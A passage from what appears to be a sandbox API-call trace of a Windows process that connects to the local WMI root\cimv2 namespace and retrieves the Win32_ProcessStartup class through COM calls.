Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x657170) returned 0x0 [0116.217] WbemDefPath:IUnknown:Release (This=0x1b48b4b0) returned 0x0 [0116.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x657170) returned 0x0 [0116.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0116.217] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0116.218] WbemDefPath:IUnknown:AddRef (This=0x657170) returned 0x3 [0116.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0116.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0116.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b48b550) returned 0x0 [0116.218] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48b550, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.218] WbemDefPath:IUnknown:Release (This=0x1b48b550) returned 0x3 [0116.218] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0116.218] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0116.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0116.218] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x2 [0116.218] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x1 [0116.218] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0116.218] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0116.218] WbemDefPath:IUnknown:QueryInterface (in: This=0x657170, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x657170) returned 0x0 [0116.218] WbemDefPath:IUnknown:AddRef (This=0x657170) returned 0x3 [0116.218] WbemDefPath:IUnknown:Release (This=0x657170) returned 0x2 [0116.218] WbemDefPath:IWbemPath:SetText (This=0x657170, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0116.218] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0116.218] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0116.218] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.219] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0116.219] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0116.219] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0116.219] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.219] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b4d2d40) returned 0x0 [0116.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2d40, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0116.219] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b4d2d40, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b4d2980) returned 0x0 [0116.219] WbemLocator:IUnknown:Release (This=0x1b4d2d40) returned 0x0 [0116.219] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b4d2980) returned 0x0 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0116.220] WbemLocator:IUnknown:AddRef (This=0x1b4d2980) returned 0x3 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0116.220] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0116.220] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0116.220] WbemLocator:IUnknown:Release (This=0x1b4d2980) returned 0x2 [0116.220] WbemLocator:IUnknown:Release (This=0x1b4d2980) returned 0x1 [0116.220] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0116.220] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0116.220] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4d2980, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b4d2980) returned 0x0 [0116.220] WbemLocator:IUnknown:AddRef (This=0x1b4d2980) returned 0x3 [0116.220] WbemLocator:IUnknown:Release (This=0x1b4d2980) returned 0x2 [0116.220] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x657170, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0116.220] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0116.220] WbemDefPath:IWbemPath:GetText (in: This=0x657170, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0116.220] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b4d2ce0) returned 0x0 [0116.221] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b4d2ce0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x1b4e0620) returned 0x0 [0116.357] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30d008 | out: ppvObject=0x1b30d008*=0x1b510d10) returned 0x0 [0116.357] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b510d10, pProxy=0x1b4e0620, pAuthnSvc=0x1b30d0d0, pAuthzSvc=0x1b30d050, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054, pImpLevel=0x1b30d060, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064 | out: pAuthnSvc=0x1b30d0d0*=0xa, pAuthzSvc=0x1b30d050*=0x0, pServerPrincName=0x1b30d078, pAuthnLevel=0x1b30d054*=0x6, pImpLevel=0x1b30d060*=0x2, pAuthInfo=0x1b30d088, pCapabilites=0x1b30d064*=0x1) returned 0x0 [0116.357] WbemLocator:IUnknown:Release (This=0x1b510d10) returned 0x1 [0116.357] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfa0 | out: ppvObject=0x1b30cfa0*=0x1b510d58) returned 0x0 [0116.357] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cfb0 | out: ppvObject=0x1b30cfb0*=0x1b510d10) returned 0x0 [0116.357] WbemLocator:IClientSecurity:SetBlanket (This=0x1b510d10, pProxy=0x1b4e0620, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0116.357] WbemLocator:IUnknown:Release (This=0x1b510d10) returned 0x2 [0116.357] WbemLocator:IUnknown:Release (This=0x1b510d58) returned 0x1 [0116.357] CoTaskMemFree (pv=0x1b461e80) [0116.357] WbemLocator:IUnknown:Release (This=0x1b4d2ce0) returned 0x0 [0116.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30caa0 | out: ppvObject=0x1b30caa0*=0x1b510d58) returned 0x0 [0116.358] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb30 | out: ppvObject=0x1b30cb30*=0x0) returned 0x80004002 [0116.383] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x0) returned 0x80004002 [0116.384] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4e0620, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c328 | out: ppvObject=0x1b30c328*=0x0) returned 0x80004002 [0116.385] WbemLocator:IUnknown:AddRef (This=0x1b510d58) returned 0x3 [0116.385] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c1e8 | out: ppvObject=0x1b30c1e8*=0x0) returned 0x80004002 [0116.385] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c170 | out: ppvObject=0x1b30c170*=0x0) returned 0x80004002 [0116.385] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c160 | out: ppvObject=0x1b30c160*=0x1b510c38) returned 0x0 [0116.385] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b510c38, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30c188 | out: pCid=0x1b30c188*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0116.385] WbemLocator:IUnknown:Release (This=0x1b510c38) returned 0x3 [0116.386] CoGetContextToken (in: pToken=0x1b30c210 | out: pToken=0x1b30c210) returned 0x0 [0116.386] CoGetContextToken (in: pToken=0x1b30c690 | out: pToken=0x1b30c690) returned 0x0 [0116.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c750 | out: ppvObject=0x1b30c750*=0x1b510d20) returned 0x0 [0116.386] WbemLocator:IRpcOptions:Query (in: This=0x1b510d20, pPrx=0x1b510d58, dwProperty=2, pdwValue=0x1b30c740 | out: pdwValue=0x1b30c740) returned 0x80004002 [0116.386] WbemLocator:IUnknown:Release (This=0x1b510d20) returned 0x3 [0116.386] WbemLocator:IUnknown:Release (This=0x1b510d58) returned 0x2 [0116.386] CoGetContextToken (in: pToken=0x1b30cd50 | out: pToken=0x1b30cd50) returned 0x0 [0116.386] CoGetContextToken (in: pToken=0x1b30cc50 | out: pToken=0x1b30cc50) returned 0x0 [0116.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x1b30cdb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b30cd80 | out: ppvObject=0x1b30cd80*=0x1b4e0620) returned 0x0 [0116.386] WbemLocator:IUnknown:AddRef (This=0x1b4e0620) returned 0x4 [0116.386] WbemLocator:IUnknown:Release (This=0x1b4e0620) returned 0x3 [0116.386] WbemLocator:IUnknown:Release (This=0x1b4e0620) returned 0x2 [0116.386] SysStringLen (param_1=0x0) returned 0x0 [0116.386] CoGetContextToken (in: pToken=0x1b30cf00 | out: pToken=0x1b30cf00) returned 0x0 [0116.386] WbemLocator:IUnknown:AddRef (This=0x1b510d58) returned 0x3 [0116.386] WbemLocator:IUnknown:QueryInterface (in: This=0x1b510d58, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cf00 | out: ppvObject=0x1b30cf00*=0x1b510d58) returned 0x0 [0116.386] WbemLocator:IUnknown:Release (This=0x1b510d58) returned 0x3 [0116.386] WbemLocator:IUnknown:Release (This=0x1b510d58) returned 0x2 [0116.387] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=2, puBuffLength=0x1b30d600*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d600*=0x15, pszText=0x0) returned 0x0 [0116.387] WbemDefPath:IWbemPath:GetText (in: This=0x655c70, lFlags=2, puBuffLength=0x1b30d600*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d600*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0116.387] IWbemServices:GetObject (in: This=0x1b4e0620, strObjectPath="Win32_ProcessStartup", lFlags=0, pCtx=0x0, ppObject=0x1b30d580*=0x0, ppCallResult=0x0 | out: ppObject=0x1b30d580*=0x1b4d7900, ppCallResult=0x0) returned 0x0 [0116.397] IWbemClassObject:Get (in: This=0x1b4d7900, wszName="__PATH", lFlags=0, pVal=0x1b30d510*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b30d678*=0, plFlavor=0x1b30d670*=0 | out: pVal=0x1b30d510*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup", varVal2=0x0), pType=0x1b30d678*=8, plFlavor=0x1b30d670*=64) returned 0x0 [0116.397] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0116.397] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x50 [0116.397] CoGetObjectContext (in: riid=0x258d2d0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d548 | out: ppv=0x1b30d548*=0x6124e8) returned 0x0 [0116.397] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d538 | out: pAptType=0x1b30d538*=1) returned 0x0 [0116.397] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x258d2b0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d540 | out: ppvObject=0x1b30d540*=0x0) returned 0x80004002 [0116.397] IUnknown:Release (This=0x6124e8) returned 0x1 [0116.398] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c938 | out: ppv=0x1b30c938*=0x1b4d29a0) returned 0x0 [0116.398] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b4d29a0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30ca20 | out: ppvObject=0x1b30ca20*=0x0) returned 0x80004002 [0116.398] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b4d29a0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9f8 | out: ppvObject=0x1b30c9f8*=0x655a30) returned 0x0 [0116.398] WbemDefPath:IUnknown:Release (This=0x1b4d29a0) returned 0x0 [0116.398] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c7a0 | out: ppvObject=0x1b30c7a0*=0x655a30) returned 0x0 [0116.398] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c830 | out: ppvObject=0x1b30c830*=0x0) returned 0x80004002 [0116.398] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c028 | out: ppvObject=0x1b30c028*=0x0) returned 0x80004002 [0116.399] WbemDefPath:IUnknown:AddRef (This=0x655a30) returned 0x3 [0116.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bee8 | out: ppvObject=0x1b30bee8*=0x0) returned 0x80004002 [0116.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be70 | out: ppvObject=0x1b30be70*=0x0) returned 0x80004002 [0116.399] WbemDefPath:IUnknown:QueryInterface (in: This=0x655a30, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be60 | out: ppvObject=0x1b30be60*=0x1b4d2720) returned 0x0 [0116.399] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4d2720, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be88 | out: pCid=0x1b30be88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 